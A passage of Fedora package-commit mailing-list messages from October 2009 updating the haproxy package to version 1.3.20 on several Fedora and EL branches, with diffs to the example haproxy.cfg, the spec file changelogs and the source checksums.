-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-	errorloc	502	http://192.168.114.58/error502.html
+    mode        http
+    log         global
+    option      dontlognull
+    option      httpclose
+    option      httplog
+    option      forwardfor
+    option      redispatch
+    timeout connect 10000 # default 10 second time out if a backend is not found
+    timeout client 300000
+    timeout server 300000
+    maxconn     60000
+    retries     3
+
+#---------------------------------------------------------------------
+# main frontend which proxys to the backends
+#---------------------------------------------------------------------
+frontend  main *:5000
+    acl url_static       path_beg       -i /static /images /javascript /stylesheets
+    acl url_static       path_end       -i .jpg .gif .png .css .js
+   
+    use_backend static          if url_static
+    default_backend             app
+   
+#---------------------------------------------------------------------
+# static backend for serving up images, stylesheets and such
+#---------------------------------------------------------------------
+backend static
+    balance     roundrobin
+    server      static 127.0.0.1:4331 check
+
+#---------------------------------------------------------------------
+# round robin balancing between the various backends
+#---------------------------------------------------------------------
+backend app
+    balance     roundrobin
+    server  app1 127.0.0.1:5001 check
+    server  app2 127.0.0.1:5002 check
+    server  app3 127.0.0.1:5003 check 
+    server  app4 127.0.0.1:5004 check
 


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/haproxy.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- haproxy.spec	2 Aug 2009 23:20:20 -0000	1.21
+++ haproxy.spec	12 Oct 2009 03:17:12 -0000	1.22
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.19
+Version:        1.3.20
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -127,7 +127,10 @@ fi  
 
 
 %changelog
-* Sun Aug 02 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> -  1.3.19-1
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
+- update to 1.3.20
+
+* Sun Aug 02 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.19-1
 - update to 1.3.19
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.18-2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	2 Aug 2009 23:20:20 -0000	1.14
+++ sources	12 Oct 2009 03:17:12 -0000	1.15
@@ -1 +1,2 @@
 24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
+e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 03:18:17 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 03:18:17 +0000 (UTC)
Subject: rpms/haproxy/F-12 haproxy.spec,1.22,1.23
Message-ID: <20091012031817.BDA4311C00E5@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17216

Modified Files:
	haproxy.spec 
Log Message:
bump release


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/haproxy.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- haproxy.spec	12 Oct 2009 03:17:12 -0000	1.22
+++ haproxy.spec	12 Oct 2009 03:18:17 -0000	1.23
@@ -6,7 +6,7 @@
 
 Name:           haproxy
 Version:        1.3.20
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
 Group:          System Environment/Daemons
@@ -127,6 +127,9 @@ fi  
 
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-2
+- relase bump
+
 * Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
 - update to 1.3.20
 



From jjh at fedoraproject.org  Mon Oct 12 03:20:21 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 03:20:21 +0000 (UTC)
Subject: rpms/haproxy/F-11 .cvsignore, 1.14, 1.15 haproxy.cfg, 1.1,
	1.2 haproxy.spec, 1.20, 1.21 sources, 1.14, 1.15
Message-ID: <20091012032021.CE60E11C029E@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17511

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	2 Aug 2009 23:26:37 -0000	1.14
+++ .cvsignore	12 Oct 2009 03:20:21 -0000	1.15
@@ -1 +1,2 @@
 haproxy-1.3.19.tar.gz
+haproxy-1.3.20.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/haproxy.cfg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- haproxy.cfg	21 Sep 2007 17:26:59 -0000	1.1
+++ haproxy.cfg	12 Oct 2009 03:20:21 -0000	1.2
@@ -1,79 +1,67 @@
-# this config needs haproxy-1.1.28 or haproxy-1.2.1
-
+#---------------------------------------------------------------------
+# Example configuration for a possible web application.  See the
+# full configuration options online.
+#
+#   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
+#
+# or locally in /usr/share/doc/haproxy-1.3.20/
+#
+#---------------------------------------------------------------------
+
+#---------------------------------------------------------------------
+# Global settings
+#---------------------------------------------------------------------
 global
-	log 127.0.0.1	local0
-	log 127.0.0.1	local1 notice
-	#log loghost	local0 info
-	maxconn 4096
-	chroot /var/lib/haproxy
-	user haproxy
-	group haproxy
-	daemon
-	#debug
-	#quiet
-
+    log         127.0.0.1 local2 
+    chroot      /var/lib/haproxy
+    pidfile     /var/run/haproxy.pid
+    maxconn     4000
+    user        haproxy
+    group       haproxy
+    daemon
+
+#---------------------------------------------------------------------
+# common defaults that all the 'listen' and 'backend' sections will 
+# use if not designated in their block
+#---------------------------------------------------------------------
 defaults
-	log	global
-	mode	http
-	option	httplog
-	option	dontlognull
-	retries	3
-	redispatch
-	maxconn	2000
-	contimeout	5000
-	clitimeout	50000
-	srvtimeout	50000
-
-listen	appli1-rewrite 0.0.0.0:10001
-	cookie	SERVERID rewrite
-	balance	roundrobin
-	server	app1_1 192.168.34.23:8080 cookie app1inst1 check inter 2000 rise 2 fall 5
-	server	app1_2 192.168.34.32:8080 cookie app1inst2 check inter 2000 rise 2 fall 5
-	server	app1_3 192.168.34.27:8080 cookie app1inst3 check inter 2000 rise 2 fall 5
-	server	app1_4 192.168.34.42:8080 cookie app1inst4 check inter 2000 rise 2 fall 5
-
-listen	appli2-insert 0.0.0.0:10002
-	option	httpchk
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	capture cookie vgnvisitor= len 32
-
-	option	httpclose		# disable keep-alive
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-listen	appli3-relais 0.0.0.0:10003
-	dispatch 192.168.135.17:80
-
-listen	appli4-backup 0.0.0.0:10004
-	option	httpchk /index.html
-	option	persist
-	balance	roundrobin
-	server	inst1 192.168.114.56:80 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 check inter 2000 fall 3 backup
-
-listen	ssl-relay 0.0.0.0:8443
-	option	ssl-hello-chk
-	balance	source
-	server	inst1 192.168.110.56:443 check inter 2000 fall 3
-	server	inst2 192.168.110.57:443 check inter 2000 fall 3
-	server	back1 192.168.120.58:443 backup
-
-listen	appli5-backup 0.0.0.0:10005
-	option	httpchk *
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	server	inst3 192.168.114.57:80 backup check inter 2000 fall 3
-	capture cookie ASPSESSION len 32
-	srvtimeout	20000
-
-	option	httpclose		# disable keep-alive
-	option  checkcache		# block response if set-cookie & cacheable
-
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-	errorloc	502	http://192.168.114.58/error502.html
+    mode        http
+    log         global
+    option      dontlognull
+    option      httpclose
+    option      httplog
+    option      forwardfor
+    option      redispatch
+    timeout connect 10000 # default 10 second time out if a backend is not found
+    timeout client 300000
+    timeout server 300000
+    maxconn     60000
+    retries     3
+
+#---------------------------------------------------------------------
+# main frontend which proxys to the backends
+#---------------------------------------------------------------------
+frontend  main *:5000
+    acl url_static       path_beg       -i /static /images /javascript /stylesheets
+    acl url_static       path_end       -i .jpg .gif .png .css .js
+   
+    use_backend static          if url_static
+    default_backend             app
+   
+#---------------------------------------------------------------------
+# static backend for serving up images, stylesheets and such
+#---------------------------------------------------------------------
+backend static
+    balance     roundrobin
+    server      static 127.0.0.1:4331 check
+
+#---------------------------------------------------------------------
+# round robin balancing between the various backends
+#---------------------------------------------------------------------
+backend app
+    balance     roundrobin
+    server  app1 127.0.0.1:5001 check
+    server  app2 127.0.0.1:5002 check
+    server  app3 127.0.0.1:5003 check 
+    server  app4 127.0.0.1:5004 check
 


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/haproxy.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- haproxy.spec	2 Aug 2009 23:26:37 -0000	1.20
+++ haproxy.spec	12 Oct 2009 03:20:21 -0000	1.21
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.19
+Version:        1.3.20
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -127,6 +127,9 @@ fi  
 
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
+- update to 1.3.20
+
 * Sun Aug 02 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.19-1
 - upate to 1.3.19
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	2 Aug 2009 23:26:37 -0000	1.14
+++ sources	12 Oct 2009 03:20:21 -0000	1.15
@@ -1 +1,2 @@
 24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
+e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 03:23:05 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 03:23:05 +0000 (UTC)
Subject: rpms/haproxy/F-10 .cvsignore, 1.14, 1.15 haproxy.cfg, 1.1,
	1.2 haproxy.spec, 1.17, 1.18 sources, 1.14, 1.15
Message-ID: <20091012032305.C9B7C11C00E5@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18282

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	2 Aug 2009 23:26:43 -0000	1.14
+++ .cvsignore	12 Oct 2009 03:23:03 -0000	1.15
@@ -1 +1,2 @@
 haproxy-1.3.19.tar.gz
+haproxy-1.3.20.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/haproxy.cfg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- haproxy.cfg	21 Sep 2007 17:26:59 -0000	1.1
+++ haproxy.cfg	12 Oct 2009 03:23:03 -0000	1.2
@@ -1,79 +1,67 @@
-# this config needs haproxy-1.1.28 or haproxy-1.2.1
-
+#---------------------------------------------------------------------
+# Example configuration for a possible web application.  See the
+# full configuration options online.
+#
+#   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
+#
+# or locally in /usr/share/doc/haproxy-1.3.20/
+#
+#---------------------------------------------------------------------
+
+#---------------------------------------------------------------------
+# Global settings
+#---------------------------------------------------------------------
 global
-	log 127.0.0.1	local0
-	log 127.0.0.1	local1 notice
-	#log loghost	local0 info
-	maxconn 4096
-	chroot /var/lib/haproxy
-	user haproxy
-	group haproxy
-	daemon
-	#debug
-	#quiet
-
+    log         127.0.0.1 local2 
+    chroot      /var/lib/haproxy
+    pidfile     /var/run/haproxy.pid
+    maxconn     4000
+    user        haproxy
+    group       haproxy
+    daemon
+
+#---------------------------------------------------------------------
+# common defaults that all the 'listen' and 'backend' sections will 
+# use if not designated in their block
+#---------------------------------------------------------------------
 defaults
-	log	global
-	mode	http
-	option	httplog
-	option	dontlognull
-	retries	3
-	redispatch
-	maxconn	2000
-	contimeout	5000
-	clitimeout	50000
-	srvtimeout	50000
-
-listen	appli1-rewrite 0.0.0.0:10001
-	cookie	SERVERID rewrite
-	balance	roundrobin
-	server	app1_1 192.168.34.23:8080 cookie app1inst1 check inter 2000 rise 2 fall 5
-	server	app1_2 192.168.34.32:8080 cookie app1inst2 check inter 2000 rise 2 fall 5
-	server	app1_3 192.168.34.27:8080 cookie app1inst3 check inter 2000 rise 2 fall 5
-	server	app1_4 192.168.34.42:8080 cookie app1inst4 check inter 2000 rise 2 fall 5
-
-listen	appli2-insert 0.0.0.0:10002
-	option	httpchk
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	capture cookie vgnvisitor= len 32
-
-	option	httpclose		# disable keep-alive
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-listen	appli3-relais 0.0.0.0:10003
-	dispatch 192.168.135.17:80
-
-listen	appli4-backup 0.0.0.0:10004
-	option	httpchk /index.html
-	option	persist
-	balance	roundrobin
-	server	inst1 192.168.114.56:80 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 check inter 2000 fall 3 backup
-
-listen	ssl-relay 0.0.0.0:8443
-	option	ssl-hello-chk
-	balance	source
-	server	inst1 192.168.110.56:443 check inter 2000 fall 3
-	server	inst2 192.168.110.57:443 check inter 2000 fall 3
-	server	back1 192.168.120.58:443 backup
-
-listen	appli5-backup 0.0.0.0:10005
-	option	httpchk *
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	server	inst3 192.168.114.57:80 backup check inter 2000 fall 3
-	capture cookie ASPSESSION len 32
-	srvtimeout	20000
-
-	option	httpclose		# disable keep-alive
-	option  checkcache		# block response if set-cookie & cacheable
-
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-	errorloc	502	http://192.168.114.58/error502.html
+    mode        http
+    log         global
+    option      dontlognull
+    option      httpclose
+    option      httplog
+    option      forwardfor
+    option      redispatch
+    timeout connect 10000 # default 10 second time out if a backend is not found
+    timeout client 300000
+    timeout server 300000
+    maxconn     60000
+    retries     3
+
+#---------------------------------------------------------------------
+# main frontend which proxys to the backends
+#---------------------------------------------------------------------
+frontend  main *:5000
+    acl url_static       path_beg       -i /static /images /javascript /stylesheets
+    acl url_static       path_end       -i .jpg .gif .png .css .js
+   
+    use_backend static          if url_static
+    default_backend             app
+   
+#---------------------------------------------------------------------
+# static backend for serving up images, stylesheets and such
+#---------------------------------------------------------------------
+backend static
+    balance     roundrobin
+    server      static 127.0.0.1:4331 check
+
+#---------------------------------------------------------------------
+# round robin balancing between the various backends
+#---------------------------------------------------------------------
+backend app
+    balance     roundrobin
+    server  app1 127.0.0.1:5001 check
+    server  app2 127.0.0.1:5002 check
+    server  app3 127.0.0.1:5003 check 
+    server  app4 127.0.0.1:5004 check
 


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/haproxy.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- haproxy.spec	2 Aug 2009 23:26:43 -0000	1.17
+++ haproxy.spec	12 Oct 2009 03:23:03 -0000	1.18
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.19
+Version:        1.3.20
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -127,6 +127,9 @@ fi  
 
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
+- update to 1.3.20
+
 * Sun Aug 02 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.19-1
 - update to 1.3.19
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	2 Aug 2009 23:26:43 -0000	1.14
+++ sources	12 Oct 2009 03:23:03 -0000	1.15
@@ -1 +1,2 @@
 24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
+e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 03:26:33 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 03:26:33 +0000 (UTC)
Subject: rpms/haproxy/EL-4 .cvsignore, 1.12, 1.13 haproxy.cfg, 1.1,
	1.2 haproxy.spec, 1.16, 1.17 sources, 1.12, 1.13
Message-ID: <20091012032633.1DF6411C00E5@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18773

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	2 Aug 2009 23:35:26 -0000	1.12
+++ .cvsignore	12 Oct 2009 03:26:32 -0000	1.13
@@ -1 +1,2 @@
 haproxy-1.3.19.tar.gz
+haproxy-1.3.20.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/haproxy.cfg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- haproxy.cfg	21 Sep 2007 19:05:30 -0000	1.1
+++ haproxy.cfg	12 Oct 2009 03:26:32 -0000	1.2
@@ -1,79 +1,67 @@
-# this config needs haproxy-1.1.28 or haproxy-1.2.1
-
+#---------------------------------------------------------------------
+# Example configuration for a possible web application.  See the
+# full configuration options online.
+#
+#   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
+#
+# or locally in /usr/share/doc/haproxy-1.3.20/
+#
+#---------------------------------------------------------------------
+
+#---------------------------------------------------------------------
+# Global settings
+#---------------------------------------------------------------------
 global
-	log 127.0.0.1	local0
-	log 127.0.0.1	local1 notice
-	#log loghost	local0 info
-	maxconn 4096
-	chroot /var/lib/haproxy
-	user haproxy
-	group haproxy
-	daemon
-	#debug
-	#quiet
-
+    log         127.0.0.1 local2 
+    chroot      /var/lib/haproxy
+    pidfile     /var/run/haproxy.pid
+    maxconn     4000
+    user        haproxy
+    group       haproxy
+    daemon
+
+#---------------------------------------------------------------------
+# common defaults that all the 'listen' and 'backend' sections will 
+# use if not designated in their block
+#---------------------------------------------------------------------
 defaults
-	log	global
-	mode	http
-	option	httplog
-	option	dontlognull
-	retries	3
-	redispatch
-	maxconn	2000
-	contimeout	5000
-	clitimeout	50000
-	srvtimeout	50000
-
-listen	appli1-rewrite 0.0.0.0:10001
-	cookie	SERVERID rewrite
-	balance	roundrobin
-	server	app1_1 192.168.34.23:8080 cookie app1inst1 check inter 2000 rise 2 fall 5
-	server	app1_2 192.168.34.32:8080 cookie app1inst2 check inter 2000 rise 2 fall 5
-	server	app1_3 192.168.34.27:8080 cookie app1inst3 check inter 2000 rise 2 fall 5
-	server	app1_4 192.168.34.42:8080 cookie app1inst4 check inter 2000 rise 2 fall 5
-
-listen	appli2-insert 0.0.0.0:10002
-	option	httpchk
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	capture cookie vgnvisitor= len 32
-
-	option	httpclose		# disable keep-alive
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-listen	appli3-relais 0.0.0.0:10003
-	dispatch 192.168.135.17:80
-
-listen	appli4-backup 0.0.0.0:10004
-	option	httpchk /index.html
-	option	persist
-	balance	roundrobin
-	server	inst1 192.168.114.56:80 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 check inter 2000 fall 3 backup
-
-listen	ssl-relay 0.0.0.0:8443
-	option	ssl-hello-chk
-	balance	source
-	server	inst1 192.168.110.56:443 check inter 2000 fall 3
-	server	inst2 192.168.110.57:443 check inter 2000 fall 3
-	server	back1 192.168.120.58:443 backup
-
-listen	appli5-backup 0.0.0.0:10005
-	option	httpchk *
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	server	inst3 192.168.114.57:80 backup check inter 2000 fall 3
-	capture cookie ASPSESSION len 32
-	srvtimeout	20000
-
-	option	httpclose		# disable keep-alive
-	option  checkcache		# block response if set-cookie & cacheable
-
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-	errorloc	502	http://192.168.114.58/error502.html
+    mode        http
+    log         global
+    option      dontlognull
+    option      httpclose
+    option      httplog
+    option      forwardfor
+    option      redispatch
+    timeout connect 10000 # default 10 second time out if a backend is not found
+    timeout client 300000
+    timeout server 300000
+    maxconn     60000
+    retries     3
+
+#---------------------------------------------------------------------
+# main frontend which proxys to the backends
+#---------------------------------------------------------------------
+frontend  main *:5000
+    acl url_static       path_beg       -i /static /images /javascript /stylesheets
+    acl url_static       path_end       -i .jpg .gif .png .css .js
+   
+    use_backend static          if url_static
+    default_backend             app
+   
+#---------------------------------------------------------------------
+# static backend for serving up images, stylesheets and such
+#---------------------------------------------------------------------
+backend static
+    balance     roundrobin
+    server      static 127.0.0.1:4331 check
+
+#---------------------------------------------------------------------
+# round robin balancing between the various backends
+#---------------------------------------------------------------------
+backend app
+    balance     roundrobin
+    server  app1 127.0.0.1:5001 check
+    server  app2 127.0.0.1:5002 check
+    server  app3 127.0.0.1:5003 check 
+    server  app4 127.0.0.1:5004 check
 


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/haproxy.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- haproxy.spec	2 Aug 2009 23:37:06 -0000	1.16
+++ haproxy.spec	12 Oct 2009 03:26:32 -0000	1.17
@@ -5,8 +5,8 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.19
-Release:        2%{?dist}
+Version:        1.3.20
+Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
 Group:          System Environment/Daemons
@@ -125,6 +125,9 @@ fi  
 
 
 %changelog
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
+- update to 1.3.20
+
 * Sun Aug 02 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.19-2
 - rebuilt
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	2 Aug 2009 23:35:26 -0000	1.12
+++ sources	12 Oct 2009 03:26:32 -0000	1.13
@@ -1 +1,2 @@
 24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
+e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 03:27:26 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 03:27:26 +0000 (UTC)
Subject: rpms/haproxy/EL-5 .cvsignore, 1.12, 1.13 haproxy.cfg, 1.1,
	1.2 haproxy.spec, 1.16, 1.17 sources, 1.12, 1.13
Message-ID: <20091012032726.EB02511C00E5@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18941

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	2 Aug 2009 23:28:21 -0000	1.12
+++ .cvsignore	12 Oct 2009 03:27:26 -0000	1.13
@@ -1 +1,2 @@
 haproxy-1.3.19.tar.gz
+haproxy-1.3.20.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/haproxy.cfg,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- haproxy.cfg	21 Sep 2007 19:08:06 -0000	1.1
+++ haproxy.cfg	12 Oct 2009 03:27:26 -0000	1.2
@@ -1,79 +1,67 @@
-# this config needs haproxy-1.1.28 or haproxy-1.2.1
-
+#---------------------------------------------------------------------
+# Example configuration for a possible web application.  See the
+# full configuration options online.
+#
+#   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
+#
+# or locally in /usr/share/doc/haproxy-1.3.20/
+#
+#---------------------------------------------------------------------
+
+#---------------------------------------------------------------------
+# Global settings
+#---------------------------------------------------------------------
 global
-	log 127.0.0.1	local0
-	log 127.0.0.1	local1 notice
-	#log loghost	local0 info
-	maxconn 4096
-	chroot /var/lib/haproxy
-	user haproxy
-	group haproxy
-	daemon
-	#debug
-	#quiet
-
+    log         127.0.0.1 local2 
+    chroot      /var/lib/haproxy
+    pidfile     /var/run/haproxy.pid
+    maxconn     4000
+    user        haproxy
+    group       haproxy
+    daemon
+
+#---------------------------------------------------------------------
+# common defaults that all the 'listen' and 'backend' sections will 
+# use if not designated in their block
+#---------------------------------------------------------------------
 defaults
-	log	global
-	mode	http
-	option	httplog
-	option	dontlognull
-	retries	3
-	redispatch
-	maxconn	2000
-	contimeout	5000
-	clitimeout	50000
-	srvtimeout	50000
-
-listen	appli1-rewrite 0.0.0.0:10001
-	cookie	SERVERID rewrite
-	balance	roundrobin
-	server	app1_1 192.168.34.23:8080 cookie app1inst1 check inter 2000 rise 2 fall 5
-	server	app1_2 192.168.34.32:8080 cookie app1inst2 check inter 2000 rise 2 fall 5
-	server	app1_3 192.168.34.27:8080 cookie app1inst3 check inter 2000 rise 2 fall 5
-	server	app1_4 192.168.34.42:8080 cookie app1inst4 check inter 2000 rise 2 fall 5
-
-listen	appli2-insert 0.0.0.0:10002
-	option	httpchk
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	capture cookie vgnvisitor= len 32
-
-	option	httpclose		# disable keep-alive
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-listen	appli3-relais 0.0.0.0:10003
-	dispatch 192.168.135.17:80
-
-listen	appli4-backup 0.0.0.0:10004
-	option	httpchk /index.html
-	option	persist
-	balance	roundrobin
-	server	inst1 192.168.114.56:80 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 check inter 2000 fall 3 backup
-
-listen	ssl-relay 0.0.0.0:8443
-	option	ssl-hello-chk
-	balance	source
-	server	inst1 192.168.110.56:443 check inter 2000 fall 3
-	server	inst2 192.168.110.57:443 check inter 2000 fall 3
-	server	back1 192.168.120.58:443 backup
-
-listen	appli5-backup 0.0.0.0:10005
-	option	httpchk *
-	balance	roundrobin
-	cookie	SERVERID insert indirect nocache
-	server	inst1 192.168.114.56:80 cookie server01 check inter 2000 fall 3
-	server	inst2 192.168.114.56:81 cookie server02 check inter 2000 fall 3
-	server	inst3 192.168.114.57:80 backup check inter 2000 fall 3
-	capture cookie ASPSESSION len 32
-	srvtimeout	20000
-
-	option	httpclose		# disable keep-alive
-	option  checkcache		# block response if set-cookie & cacheable
-
-	rspidel ^Set-cookie:\ IP=	# do not let this cookie tell our internal IP address
-	
-	errorloc	502	http://192.168.114.58/error502.html
+    mode        http
+    log         global
+    option      dontlognull
+    option      httpclose
+    option      httplog
+    option      forwardfor
+    option      redispatch
+    timeout connect 10000 # default 10 second time out if a backend is not found
+    timeout client 300000
+    timeout server 300000
+    maxconn     60000
+    retries     3
+
